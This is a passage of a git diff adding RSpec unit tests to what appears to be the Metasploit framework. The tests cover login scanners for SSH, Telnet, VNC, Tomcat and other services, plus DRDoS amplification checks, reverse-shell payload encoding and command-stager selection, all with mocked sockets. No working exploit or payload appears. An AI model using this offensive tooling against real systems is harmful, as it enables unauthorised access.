my_scanner.should_receive(:gather_proof) + my_scanner.attempt_login(pub_pri) + end + + it 'returns a success code and proof' do + Net::SSH.should_receive(:start) {"fake_socket"} + my_scanner = ssh_scanner + my_scanner.should_receive(:gather_proof).and_return(public) + expect(my_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL + end + end + end + + + +end diff --git a/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb b/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb new file mode 100644 index 0000000000..90f5d6924b --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb @@ -0,0 +1,79 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/telnet' + +describe Metasploit::Framework::LoginScanner::Telnet do + + subject(:login_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::Tcp::Client' + + it { should respond_to :banner_timeout } + it { should respond_to :telnet_timeout } + + context 'validations' do + context 'banner_timeout' do + it 'is not valid for a non-number' do + login_scanner.banner_timeout = "a" + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:banner_timeout]).to include "is not a number" + end + + it 'is not valid for a floating point' do + login_scanner.banner_timeout = 5.76 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:banner_timeout]).to include "must be an integer" + end + + it 'is not valid for a negative number' do + login_scanner.banner_timeout = -8 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:banner_timeout]).to include "must be greater than or equal to 1" + end + + it 'is not valid for 0' do + login_scanner.banner_timeout = 0 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:banner_timeout]).to include "must be greater than or equal to 1" + end + + it 'is valid for a legitimate number' do + login_scanner.port = rand(1000) + 1 + expect(login_scanner.errors[:banner_timeout]).to be_empty + end + end + + context 'telnet_timeout' do + it 'is not valid for a non-number' do + login_scanner.telnet_timeout = "a" + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:telnet_timeout]).to include "is not a number" + end + + it 'is not valid for a floating point' do + login_scanner.telnet_timeout = 5.76 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:telnet_timeout]).to include "must be an integer" + end + + it 'is not valid for a negative number' do + login_scanner.telnet_timeout = -8 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:telnet_timeout]).to include "must be greater than or equal to 1" + end + + it 'is not valid for 0' do + login_scanner.telnet_timeout = 0 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:telnet_timeout]).to include "must be greater than or equal to 1" + end + + it 'is valid for a legitimate number' do + login_scanner.port = rand(1000) + 1 + expect(login_scanner.errors[:telnet_timeout]).to be_empty + end + end + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/tomcat_spec.rb b/spec/lib/metasploit/framework/login_scanner/tomcat_spec.rb new file mode 100644 index 0000000000..ef050c0ba0 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/tomcat_spec.rb @@ -0,0 +1,11 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/tomcat' + +describe Metasploit::Framework::LoginScanner::Tomcat do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + +end diff --git a/spec/lib/metasploit/framework/login_scanner/vmauthd_spec.rb b/spec/lib/metasploit/framework/login_scanner/vmauthd_spec.rb new file mode 100644 index 0000000000..07851d7266 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/vmauthd_spec.rb @@ -0,0 +1,47 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/vmauthd' + +describe Metasploit::Framework::LoginScanner::VMAUTHD do + subject(:scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::Tcp::Client' + + context "#attempt_login" do + + let(:pub_blank) do + Metasploit::Framework::Credential.new( + paired: true, + public: "public", + private: '' + ) + end + context "Raised Exceptions" do + it "Rex::ConnectionError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(Rex::ConnectionError) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "Timeout::Error should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(Timeout::Error) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "EOFError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + expect(scanner).to receive(:connect).and_raise(EOFError) + result = scanner.attempt_login(pub_blank) + + expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + end + + end +end diff --git a/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb b/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb new file mode 100644 index 0000000000..a0c268468d --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb @@ -0,0 +1,85 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/vnc' + +describe Metasploit::Framework::LoginScanner::VNC do + let(:private) { 'password' } + let(:blank) { '' } + let(:test_cred) { + Metasploit::Framework::Credential.new( paired: false, private: private ) + } + let(:blank_cred) { + Metasploit::Framework::Credential.new( paired: false, private: blank ) + } + subject(:login_scanner) { described_class.new } + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::Tcp::Client' + + + context '#attempt_login' do + it 'creates a new RFB client' do + Rex::Proto::RFB::Client.should_receive(:new).and_call_original + login_scanner.attempt_login(test_cred) + end + + it 'returns a connection_error result when the handshake fails' do + Rex::Proto::RFB::Client.any_instance.should_receive(:handshake).and_return false + result = login_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + it 'returns a failed result when authentication fails' do + Rex::Proto::RFB::Client.any_instance.should_receive(:handshake).and_return true + Rex::Proto::RFB::Client.any_instance.should_receive(:authenticate).with(private).and_return false + result = login_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT + end + + context 'when the socket errors' do + it 'returns a connection_error result for an EOFError' do + my_scanner = login_scanner + my_scanner.should_receive(:connect).and_raise ::EOFError + result = my_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + expect(result.proof).to eq ::EOFError.new.to_s + end + + it 'returns a connection_error result for an Rex::AddressInUse' do + my_scanner = login_scanner + my_scanner.should_receive(:connect).and_raise ::Rex::AddressInUse + result = my_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + expect(result.proof).to eq ::Rex::AddressInUse.new.to_s + end + + it 'returns a connection_error result for an Rex::ConnectionError' do + my_scanner = login_scanner + my_scanner.should_receive(:connect).and_raise ::Rex::ConnectionError + result = my_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + expect(result.proof).to eq ::Rex::ConnectionError.new.to_s + end + + it 'returns a connection_error result for an Rex::ConnectionTimeout' do + my_scanner = login_scanner + my_scanner.should_receive(:connect).and_raise ::Rex::ConnectionTimeout + result = my_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + expect(result.proof).to eq ::Rex::ConnectionTimeout.new.to_s + end + + it 'returns a connection_error result for an ::Timeout::Error' do + my_scanner = login_scanner + my_scanner.should_receive(:connect).and_raise ::Timeout::Error + result = my_scanner.attempt_login(test_cred) + expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + expect(result.proof).to eq ::Timeout::Error.new.to_s + end + end + + + + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/winrm_spec.rb b/spec/lib/metasploit/framework/login_scanner/winrm_spec.rb new file mode 100644 index 0000000000..a4fc368a70 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/winrm_spec.rb @@ -0,0 +1,21 @@ + +require 'spec_helper' +require 'metasploit/framework/login_scanner/winrm' + +describe Metasploit::Framework::LoginScanner::WinRM do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: true + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + + context "#method=" do + subject(:winrm_scanner) { described_class.new } + + it "should raise, warning that the :method can't be changed" do + expect { winrm_scanner.method = "GET" }.to raise_error(RuntimeError) + expect(winrm_scanner.method).to eq("POST") + end + end + +end + diff --git a/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb b/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb new file mode 100644 index 0000000000..474d52a9bf --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb @@ -0,0 +1,11 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/wordpress_rpc' + +describe Metasploit::Framework::LoginScanner::WordpressRPC do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' + + +end diff --git a/spec/lib/metasploit/framework/login_scanner_spec.rb b/spec/lib/metasploit/framework/login_scanner_spec.rb new file mode 100644 index 0000000000..7b22109bf8 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner_spec.rb @@ -0,0 +1,56 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner' +require 'metasploit/framework/login_scanner/http' +require 'metasploit/framework/login_scanner/smb' +require 'metasploit/framework/login_scanner/vnc' + +describe Metasploit::Framework::LoginScanner do + + subject { described_class.classes_for_service(service) } + let(:port) { nil } + let(:name) { nil } + + let(:service) do + s = double('service') + allow(s).to receive(:port) { port } + allow(s).to receive(:name) { name } + s + end + + context "with name 'smb'" do + let(:name) { 'smb' } + + it { should include Metasploit::Framework::LoginScanner::SMB } + it { should_not include Metasploit::Framework::LoginScanner::HTTP } + end + + [ 139, 445 ].each do |foo| + context "with port #{foo}" do + let(:port) { foo } + + it { should include Metasploit::Framework::LoginScanner::SMB } + it { should_not include Metasploit::Framework::LoginScanner::HTTP } + it { should_not include Metasploit::Framework::LoginScanner::VNC } + end + end + + context "with name 'http'" do + let(:name) { 'http' } + + it { should include Metasploit::Framework::LoginScanner::HTTP } + it { should_not include Metasploit::Framework::LoginScanner::SMB } + it { should_not include Metasploit::Framework::LoginScanner::VNC } + end + + [ 80, 8080, 8000, 443 ].each do |foo| + context "with port #{foo}" do + let(:port) { foo } + + it { should include Metasploit::Framework::LoginScanner::HTTP } + it { should include Metasploit::Framework::LoginScanner::Axis2 } + it { should include Metasploit::Framework::LoginScanner::Tomcat } + it { should_not include Metasploit::Framework::LoginScanner::SMB } + end + end + +end diff --git a/spec/lib/msf/base/simple/framework_spec.rb b/spec/lib/msf/base/simple/framework_spec.rb index 7600fd7dad..d2ca4b86f4 100644 --- a/spec/lib/msf/base/simple/framework_spec.rb +++ b/spec/lib/msf/base/simple/framework_spec.rb @@ -8,4 +8,4 @@ describe Msf::Simple::Framework do end it_should_behave_like 'Msf::Simple::Framework::ModulePaths' -end \ No newline at end of file +end diff --git a/spec/lib/msf/core/author_spec.rb b/spec/lib/msf/core/author_spec.rb new file mode 100644 index 0000000000..db923e4409 --- /dev/null +++ b/spec/lib/msf/core/author_spec.rb @@ -0,0 +1,136 @@ +require 'spec_helper' + +describe Msf::Author do + + context 'KNOWN' do + subject(:known) { + described_class::KNOWN + } + + it { is_expected.to be_a Hash } + end + + it { is_expected.to respond_to :== } + it { is_expected.to respond_to :email } + it { is_expected.to respond_to :email= } + it { is_expected.to respond_to :from_s } + it { is_expected.to respond_to :name } + it { is_expected.to respond_to :name= } + it { is_expected.to respond_to :to_s } + + describe 'class methods' do + subject { + described_class + } + + it { is_expected.to respond_to :from_s } + it { is_expected.to respond_to :transform } + + describe '.from_s' do + subject { described_class.from_s(serialized) } + + context 'when given an empty string' do + let(:serialized) { '' } + it { is_expected.to be_nil } + end + + context 'when given nil' do + let(:serialized) { nil } + it { is_expected.to be_nil } + end + + context 'when given a valid name' do + let(:name) { 'grover123' } + let(:serialized) { name } + + it { is_expected.to be_present } + + it 'returns an instance with the correct #name' do + expect(subject.name).to eq(name) + end + end + + context 'when given a valid name and email' do + let(:email) { 'grover@sesame.co' } + let(:name) { 'grover123' } + let(:serialized) { "#{name} <#{email}>" } + + it { is_expected.to be_present } + + it 'returns an instance with the correct #name' do + expect(subject.name).to eq(name) + end + + it 'returns an instance with the correct #email' do + expect(subject.email).to eq(email) + end + + context 'when the email contains [at] instead of @' do + let(:email) { 'grover[at]sesame.co' } + let(:normalized_email) { 'grover@sesame.co' } + + it 'normalizes the [at] to an @' do + expect(subject.email).to eq(normalized_email) + end + end + end + + + end + end + + describe 'constructor' do + subject { described_class.new(name, email) } + + context 'when given a name/email combination that is not in KNOWN' do + let(:name) { 'blah' } + let(:email) { 'blah' } + + describe '#name' do + it 'is set to the "name" parameter' do + expect(subject.name).to eq(name) + end + end + + describe '#email' do + it 'is set to the "email" parameter' do + expect(subject.email).to eq(email) + end + end + end + + context 'when given a name that is in KNOWN' do + let(:name) { described_class::KNOWN.keys.sample } + let(:email) { 'blargulsberg' } + + describe '#name' do + it 'is set to the "name" parameter' do + expect(subject.name).to eq(name) + end + end + + describe '#email' do + it 'is set to the "email" parameter' do + expect(subject.email).to eq(email) + end + end + end + + context 'when given a name that is in KNOWN and a nil email' do + let(:name) { described_class::KNOWN.keys.sample } + let(:email) { nil } + + describe '#name' do + it 'is set to the "name" parameter' do + expect(subject.name).to eq(name) + end + end + + describe '#email' do + it 'is set to the email listed in KNOWN' do + expect(subject.email).to eq(described_class::KNOWN[name]) + end + end + end + end +end diff --git a/spec/lib/msf/core/auxiliary/drdos_spec.rb b/spec/lib/msf/core/auxiliary/drdos_spec.rb new file mode 100644 index 0000000000..ec4f9ce417 --- /dev/null +++ b/spec/lib/msf/core/auxiliary/drdos_spec.rb @@ -0,0 +1,38 @@ +# -*- coding: binary -*- +require 'spec_helper' + +require 'msf/core/auxiliary/drdos' + +describe Msf::Auxiliary::DRDoS do + subject do + mod = Module.new + mod.extend described_class + mod + end + + describe '#prove_amplification' do + it 'should detect drdos when there is packet amplification only' do + map = { 'foo' => [ 'a', 'b' ] } + result, _ = subject.prove_amplification(map) + result.should be true + end + + it 'should detect drdos when there is bandwidth amplification only' do + map = { 'foo' => [ 'foofoo' ] } + result, _ = subject.prove_amplification(map) + result.should be true + end + + it 'should detect drdos when there is packet and bandwidth amplification' do + map = { 'foo' => [ 'foofoo', 'a' ] } + result, _ = subject.prove_amplification(map) + result.should be true + end + + it 'should not detect drdos when there is no packet and no bandwidth amplification' do + map = { 'foo' => [ 'foo' ] } + result, _ = subject.prove_amplification(map) + result.should be false + end + end +end diff --git a/spec/lib/msf/core/auxiliary/kademlia_spec.rb b/spec/lib/msf/core/auxiliary/kademlia_spec.rb new file mode 100644 index 0000000000..6873874881 --- /dev/null +++ b/spec/lib/msf/core/auxiliary/kademlia_spec.rb @@ -0,0 +1,12 @@ +# -*- coding: binary -*- +# +require 'spec_helper' +require 'msf/core/auxiliary/kademlia' + +describe Msf::Auxiliary::Kademlia do + subject(:kad) do + mod = Module.new + mod.extend described_class + mod + end +end diff --git a/spec/lib/msf/core/encoded_payload_spec.rb b/spec/lib/msf/core/encoded_payload_spec.rb new file mode 100644 index 0000000000..88926fa9d5 --- /dev/null +++ b/spec/lib/msf/core/encoded_payload_spec.rb @@ -0,0 +1,79 @@ +require 'spec_helper' +require 'msf/core/encoded_payload' + +describe Msf::EncodedPayload do + include_context 'Msf::Simple::Framework#modules loading' + + let(:ancestor_reference_names) { + %w{singles/linux/x86/shell_reverse_tcp} + } + + let(:module_type) { + 'payload' + } + + let(:reference_name) { + 'linux/x86/shell_reverse_tcp' + } + + let(:payload) { + load_and_create_module( + ancestor_reference_names: ancestor_reference_names, + module_type: module_type, + reference_name: reference_name + ) + } + + subject(:encoded_payload) do + described_class.new(framework, payload, {}) + end + + it 'is an Msf::EncodedPayload' do + expect(encoded_payload).to be_a(described_class) + end + + describe '.create' do + + context 'when passed a valid payload instance' do + + # don't ever actually generate payload bytes + before { described_class.any_instance.stub(:generate) } + + it 'returns an Msf::EncodedPayload instance' do + expect(described_class.create(payload)).to be_a(described_class) + end + + end + + end + + describe '#arch' do + context 'when payload is linux/x86 reverse tcp' do + let(:ancestor_reference_names) { + %w{singles/linux/x86/shell_reverse_tcp} + } + + let(:reference_name) { + 'linux/x86/shell_reverse_tcp' + } + + it 'returns ["X86"]' do + expect(encoded_payload.arch).to eq [ARCH_X86] + end + end + + context 'when payload is linux/x64 reverse tcp' do + let(:ancestor_reference_names) { + %w{singles/linux/x64/shell_reverse_tcp} + } + + let(:reference_name) { + 'linux/x64/shell_reverse_tcp' + } + + it 'returns ["X86_64"]' do + expect(encoded_payload.arch).to eq [ARCH_X86_64] + end + end + end +end diff --git a/spec/lib/msf/core/exploit/capture_spec.rb b/spec/lib/msf/core/exploit/capture_spec.rb index 6a9f0677e0..54ed8ed238 100644 --- a/spec/lib/msf/core/exploit/capture_spec.rb +++ b/spec/lib/msf/core/exploit/capture_spec.rb @@ -37,16 +37,16 @@ describe Msf::Exploit::Capture do subject.should respond_to :open_pcap end - it 'should confirm that pcaprub is available', :pending => "Need to test this without stubbing check_pcaprub_loaded" do + it 'should confirm that pcaprub is available', :skip => "Need to test this without stubbing check_pcaprub_loaded" do end - it 'should open a pcap file', :pending => "Provde a sample pcap file to read" do + it 'should open a pcap file', :skip => "Provde a sample pcap file to read" do end - it 'should capture from an iface', :pending => "Mock this? Tends to need root" do + it 'should capture from an iface', :skip => "Mock this? Tends to need root" do end - it 'should inject packets to an ifrace', :pending => "Mock this? Tends to need root" do + it 'should inject packets to an ifrace', :skip => "Mock this? Tends to need root" do end end diff --git a/spec/lib/msf/core/exploit/cmdstager_spec.rb b/spec/lib/msf/core/exploit/cmdstager_spec.rb new file mode 100644 index 0000000000..ac64c3dce7 --- /dev/null +++ b/spec/lib/msf/core/exploit/cmdstager_spec.rb @@ -0,0 +1,698 @@ +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/cmdstager' + +describe Msf::Exploit::CmdStager do + + def create_exploit(info ={}) + mod = Msf::Exploit.allocate + mod.extend described_class + mod.send(:initialize, info) + mod + end + + describe "#select_cmdstager" do + + subject do + create_exploit + end + + context "when no flavor" do + + it "raises ArgumentError" do + expect { subject.select_cmdstager }.to raise_error(ArgumentError, /Unable to select CMD Stager/) + end + end + + context "when correct flavor" do + + context "with default decoder" do + + let(:flavor) do + :vbs + end + + before do + subject.select_cmdstager(:flavor => flavor) + end + + it "selects flavor" do + expect(subject.flavor).to eq(flavor) + end + + it "selects default decoder" do + expect(subject.decoder).to eq(subject.default_decoder(flavor)) + end + end + + context "without default decoder" do + + let(:flavor) do + :tftp + end + + before do + subject.select_cmdstager(:flavor => flavor) + end + + it "selects flavor" do + expect(subject.flavor).to eq(flavor) + end + + it "hasn't decoder" do + expect(subject.decoder).to be_nil + end + end + + context "with incompatible target" do + + subject do + create_exploit({ + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Linux', + { + 'Platform' => 'linux', + 'CmdStagerFlavor' => 'tftp' + } + ] + ] + }) + end + + let(:flavor) do + :vbs + end + + it "raises ArgumentError" do + expect { subject.select_cmdstager(:flavor => flavor) }.to raise_error(ArgumentError, /The CMD Stager '\w+' isn't compatible with the target/) + end + end + end + end + + describe "#default_decoder" do + + subject do + create_exploit + end + + context "when valid flavor as input" do + + context "with default decoder" do + let(:flavor) do + :vbs + end + + let(:expected_decoder) do + described_class::DECODERS[:vbs] + end + + it "returns the decoder path" do + expect(subject.default_decoder(flavor)).to eq(expected_decoder) + end + end + + context "without default decoder" do + let(:flavor) do + :bourne + end + + it "returns nil" do + expect(subject.default_decoder(flavor)).to be_nil + end + end + end + + context "when invalid flavor as input" do + let(:flavor) do + :invalid_flavor + end + + it "returns nil" do + expect(subject.default_decoder(flavor)).to be_nil + end + end + + context "when nil flavor as input" do + let(:flavor) do + nil + end + + it "should be nil" do + expect(subject.default_decoder(flavor)).to be_nil + end + end + end + + describe "#module_flavors" do + + context "when the module hasn't CmdStagerFlavor info" do + + context "neither the target" do + + subject do + create_exploit + end + + it "returns empty array" do + expect(subject.module_flavors).to eq([]) + end + end + + context "the target has CmdStagerFlavor info" do + + subject do + create_exploit({ + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Windows', + { + 'CmdStagerFlavor' => 'vbs' + } + ] + ] + }) + end + + let(:expected_flavor) do + ['vbs'] + end + + it "returns an array with the target flavor" do + expect(subject.module_flavors).to eq(expected_flavor) + end + end + end + + context "when the module has CmdStagerFlavor info" do + + context "but the target hasn't CmdStagerFlavor info" do + + subject do + create_exploit('CmdStagerFlavor' => 'vbs') + end + + let(:expected_flavor) do + ['vbs'] + end + + it "returns an array with the module flavor" do + expect(subject.module_flavors).to eq(expected_flavor) + end + end + + context "and the target has CmdStagerFlavor info" do + + subject do + create_exploit({ + 'CmdStagerFlavor' => 'vbs', + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Windows TFTP', + { + 'CmdStagerFlavor' => 'tftp' + } + ] + ] + }) + end + + let(:expected_flavor) do + ['vbs', 'tftp'] + end + + it "returns an array with all the flavors available to the module" do + expect(subject.module_flavors).to eq(expected_flavor) + end + end + end + end + + describe "#target_flavor" do + + context "when the module hasn't CmdStagerFlavor info" do + + context "neither the target" do + + subject do + create_exploit + end + + it "returns nil" do + expect(subject.target_flavor).to be_nil + end + end + + context "the target has CmdStagerFlavor info" do + + subject do + create_exploit({ + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Windows', + { + 'CmdStagerFlavor' => 'vbs' + } + ] + ] + }) + end + + let(:expected_flavor) do + 'vbs' + end + + it "returns the target flavor" do + expect(subject.target_flavor).to eq(expected_flavor) + end + end + end + + context "when the module has CmdStagerFlavor info" do + + context "but the target hasn't CmdStagerFlavor info" do + + subject do + create_exploit('CmdStagerFlavor' => 'vbs') + end + + let(:expected_flavor) do + 'vbs' + end + + it "returns the module flavor" do + expect(subject.target_flavor).to eq(expected_flavor) + end + end + + context "and the target has CmdStagerFlavor info" do + + subject do + create_exploit({ + 'CmdStagerFlavor' => 'vbs', + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Windows TFTP', + { + 'CmdStagerFlavor' => 'tftp' + } + ] + ] + }) + end + + let(:expected_flavor) do + 'tftp' + end + + it "returns the target flavor" do + expect(subject.target_flavor).to eq(expected_flavor) + end + end + end + end + + describe "#compatible_flavor?" do + + context "when there isn't target flavor" do + + subject do + create_exploit + end + + let(:flavor) do + :vbs + end + + it "is compatible" do + expect(subject.compatible_flavor?(flavor)).to be_truthy + end + end + + context "when the target flavor is a string" do + + subject do + create_exploit('CmdStagerFlavor' => 'vbs') + end + + context "and good flavor" do + let(:flavor) do + :vbs + end + + it "is compatible" do + expect(subject.compatible_flavor?(flavor)).to be_truthy + end + end + + context "and bad flavor" do + let(:flavor) do + :tftp + end + + it "isn't compatible" do + expect(subject.compatible_flavor?(flavor)).to be_falsey + end + end + end + + context "when the target flavor is a symbol" do + + subject do + create_exploit('CmdStagerFlavor' => :vbs) + end + + context "and good flavor" do + let(:flavor) do + :vbs + end + + it "is compatible" do + expect(subject.compatible_flavor?(flavor)).to be_truthy + end + end + + context "and bad flavor" do + let(:flavor) do + :tftp + end + + it "isn't compatible" do + expect(subject.compatible_flavor?(flavor)).to be_falsey + end + end + end + + context "when the target flavor is an Array" do + + subject do + create_exploit('CmdStagerFlavor' => ['vbs', :tftp]) + end + + context "and good flavor" do + let(:flavor) do + :vbs + end + + it "is compatible" do + expect(subject.compatible_flavor?(flavor)).to be_truthy + end + end + + context "and bad flavor" do + let(:flavor) do + :echo + end + + it "isn't compatible" do + expect(subject.compatible_flavor?(flavor)).to be_falsey + end + end + + end + end + + describe "#guess_flavor" do + + context "when the module hasn't targets" do + + context "neither platforms" do + subject do + create_exploit + end + + it "doesn't guess" do + expect(subject.guess_flavor).to be_nil + end + end + + context "but platforms" do + + context "one platform with default flavor" do + let(:platform) do + 'win' + end + + let(:expected_flavor) do + :vbs + end + + subject do + create_exploit('Platform' => platform) + end + + it "guess the platform defulat flavor" do + expect(subject.guess_flavor).to eq(expected_flavor) + end + end + + context "one platform without default flavor" do + let (:platform) do + 'java' + end + + subject do + create_exploit('Platform' => platform) + end + + it "doesn't guess" do + expect(subject.guess_flavor).to be_nil + end + end + + context "two platforms" do + let(:platform) do + ['unix', 'linux'] + end + + subject do + create_exploit('Platform' => platform) + end + + it "doesn't guess" do + expect(subject.guess_flavor).to be_nil + end + end + end + end + + context "when the module has one target" do + + context "and the target has one platform" do + + context "with default flavor"do + let (:expected_flavor) do + :vbs + end + + let (:platform) do + 'win' + end + + subject do + create_exploit({ + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Windows', + { + 'Platform' => platform + } + ] + ] + }) + end + + it "guess the target flavor" do + expect(subject.guess_flavor).to eq(expected_flavor) + end + + end + + context "without default flavor" do + let (:platform) do + 'java' + end + + subject do + create_exploit({ + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Java', + { + 'Platform' => platform + } + ] + ] + }) + end + + it "doesn't guess" do + expect(subject.guess_flavor).to be_nil + end + end + end + + context "the target has two platforms" do + subject do + create_exploit({ + 'DefaultTarget' => 0, + 'Targets' => + [ + ['MultiPlatform', + { + 'Platform' => %w{ linux unix} + } + ] + ] + }) + end + + it "doesn't guess" do + expect(subject.guess_flavor).to be_nil + end + end + end + end + + describe "#select_flavor" do + + context "when flavor set in the datastore" do + + subject do + create_exploit({ + 'DefaultOptions' => { + 'CMDSTAGER::FLAVOR' => 'vbs' + } + }) + end + + let(:datastore_flavor) do + :vbs + end + + it "returns the datastore flavor" do + expect(subject.select_flavor).to eq(datastore_flavor) + end + + context "and flavor set in the opts" do + + let(:opts_flavor) do + :bourne + end + + it "returns the opts flavor" do + expect(subject.select_flavor(:flavor => :bourne)).to eq(opts_flavor) + end + end + end + end + + describe "#select_decoder" do + + context "when decoder set in the datastore" do + + let(:decoder) do + File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64") + end + + subject do + create_exploit({ + 'DefaultOptions' => { + 'CMDSTAGER::DECODER' => decoder + } + }) + end + + it "returns datastore flavor" do + expect(subject.select_decoder).to eq(decoder) + end + + context "and decoder set in the opts" do + + let(:decoder_opts) do + File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_adodb") + end + + it "returns the decoder_opts" do + expect(subject.select_decoder(:decoder => decoder_opts)).to eq(decoder_opts) + end + end + end + end + + describe "#opts_with_decoder" do + subject do + create_exploit + end + + context "with :decoder option" do + + let(:decoder) do + File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64") + end + + it "returns the :decoder option" do + expect(subject.opts_with_decoder(:decoder => decoder)).to include(:decoder) + end + end + + context "without decoder option" do + it ":hasn't decoder option" do + expect(subject.opts_with_decoder).not_to include(:decoder) + end + end + + end + + describe "#create_stager" do + subject do + create_exploit + end + + context "with correct flavor" do + + let(:flavor) do + :vbs + end + + let(:expected_class) do + described_class::STAGERS[flavor] + end + + before do + subject.flavor = flavor + end + + it "creates the correct instance" do + expect(subject.create_stager.class).to eq(expected_class) + end + end + + context "with incorrect flavor" do + let(:flavor) do + :incorrect_flavor + end + + let(:expected_class) do + described_class::STAGERS[flavor] + end + + before do + subject.flavor = flavor + end + + it "raises a NoMethodError" do + expect { subject.create_stager }.to raise_error(NoMethodError) + end + end + end +end diff --git a/spec/lib/msf/core/exploit/http/client_spec.rb b/spec/lib/msf/core/exploit/http/client_spec.rb index 10b694dd5d..7edffaa04f 100644 --- a/spec/lib/msf/core/exploit/http/client_spec.rb +++ b/spec/lib/msf/core/exploit/http/client_spec.rb @@ -2,16 +2,49 @@ require 'spec_helper' require 'msf/core' +require 'msf/core/data_store' require 'msf/core/exploit/http/client' describe Msf::Exploit::Remote::HttpClient do subject do - mod = Module.new + mod = ::Msf::Module.new mod.extend described_class - mod end + describe '#vhost' do + + let(:rhost) do + 'rhost.example.com' + end + + let(:vhost) do + 'vhost.example.com' + end + + context 'when vhost is defined' do + let(:cli_vhost) do + subject.datastore['VHOST'] = vhost + subject + end + it "should return the set vhost" do + cli_vhost.vhost.should == vhost + end + end + + context 'when only rhost is defined' do + let(:cli_rhost) do + subject.datastore['RHOST'] = rhost + subject + end + it "should return the rhost as the vhost" do + cli_rhost.datastore['VHOST'].should be_nil + cli_rhost.vhost.should == rhost + end + end + + end + describe '#normalize_uri' do let(:expected_normalized_uri) do '/a/b/c' diff --git a/spec/lib/msf/core/exploit/http/server_spec.rb b/spec/lib/msf/core/exploit/http/server_spec.rb index 84469dea41..929d8e6f62 100644 --- 